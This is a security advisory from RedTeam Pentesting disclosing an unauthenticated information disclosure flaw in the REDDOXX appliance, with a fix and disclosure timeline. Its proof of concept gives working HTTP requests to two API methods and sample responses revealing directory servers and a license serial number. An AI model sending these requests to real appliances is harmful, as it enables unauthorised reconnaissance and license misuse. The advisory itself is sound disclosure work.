RedTeam Pentesting GmbH

Information Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an Information Disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to gain information about the internal network the appliance is part of.

Details

Product: REDDOXX Appliance
Affected Versions: 2032-SP2 up to hotfix 51
Fixed Versions: 2032-SP2 hotfix 53
Vulnerability Type: Information Disclosure
Security Risk: low
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-012
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

Through the ISO provided on the vendor’s homepage (https://my.reddoxx.com/documents/manual/en/custdl/product-downloads), it was possible to analyze the files in a typical REDDOXX appliance (https://www.reddoxx.com/en/) installation. It was discovered that the API functions “CoreService.GetRealmList” and “CoreService.GetLicense” are available without requiring authentication. This allows attackers to get information about the configured authentication mechanisms, for example Windows domain controllers if Active Directory authentication is in use. Additionally, the REDDOXX license serial number can be extracted.

Proof of Concept

All functions of this API require a parameter “id” with a UUID. For this, the UUID provided by the system itself when using the login form can be used, but any valid UUID will be accepted. The “CoreService.GetRealmList” API function can be used as follows:

POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetRealmList","params":{"Directory": "/etc/"}}

It provides details about the authentication realms, such as hostname and port of the authentication server or the BaseDN for Active Directory/LDAP authentication:

{
  "version": "1.1",
  "id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}",
  "result": {
    "RealmList": [
      {
        "AuthServer": "",
        "AuthType": "local",
        "BaseDN": "",
        "DisableSavePassword": false,
        "ImportAddresses": false,
        "Name": "local",
        "SetPrimaryAddress": false,
        "TcpPort": "0",
        "UseTLS": false,
        "WindowsDomain": ""
      },
      {
        "AuthServer": "dc1.example.com",
        "AuthType": "Windows 2003",
        "BaseDN": "DC=example,DC=com",
        "DisableSavePassword": false,
        "ImportAddresses": true,
        "Name": "example.com",
        "SetPrimaryAddress": true,
        "TcpPort": "389",
        "UseTLS": false,
        "WindowsDomain": "example.com"
      },
      {
        "AuthServer": "dc2.example.com",
        "AuthType": "Windows 2003",
        "BaseDN": "DC=example,DC=net",
        "DisableSavePassword": false,
        "ImportAddresses": true,
        "Name": "example.com",
        "SetPrimaryAddress": true,
        "TcpPort": "389",
        "UseTLS": false,
        "WindowsDomain": "example.com"
      }
    ]
  }
}

The “CoreService.GetLicense” API call can be used as follows:

POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetLicense","params":{}}

It provides details about the used license (serial number replaced by random value for demonstration purposes):

{
  "version": "1.1",
  "id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}",
  "result": {
    "License": {
      "Activated": true,
      "ActivationDate": "2000-01-01T12:34:56",
      "ApplianceID": "1234",
      "ArchiveLicenses": "10000",
      "Cluster": false,
      "Customer": "Example Ltd.",
      "HasFullMaildepotLicense": true,
      "HasFullSpamfinderLicense": true,
      "HasMaildepotPremiumLicense": true,
      "MailDepotImporterLicense": false,
      "MailSealerLicenses": "10000",
      "MailSealerSignatureLicense": false,
      "MsxAgentLicenses": "10000",
      "SerialNumber": "AIP1-EECA-EUKI-E6AH-OOGH-EI5Y",
      "ServiceDate": "1899-12-30T00:00:00",
      "SpamfinderLicenses": "10000",
      "SubscriptionDate": "2020-01-30T12:34:56",
      "Valid": true,
      "VirusScan": true
    }
  }
}

Workaround

None

Fix

Install the latest hotfixes for the appliance, see https://appliance.docs.reddoxx.com/de/release-notes/release-notes-version-2032-service-pack-2-2-2-1242.

Security Risk

The risk of the information disclosure through the two API calls is estimated to be low. Although the API calls should not be available without authentication, “CoreService.GetRealmList” will only return rudimentary information about the authentication realms and “CoreService.GetLicense” is mostly a problem for the vendor, as the serial number could be misused to set up a licensed application without paying.

Timeline

2019-05-21 Vulnerability identified
2019-05-24 Customer approved disclosure to vendor
2019-06-04 Vendor notified
2019-06-05 Vendor acknowledges the vulnerability
2019-06-17 Vendor released hotfix
2019-06-24 Customer approved release
2019-07-01 Advisory released

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/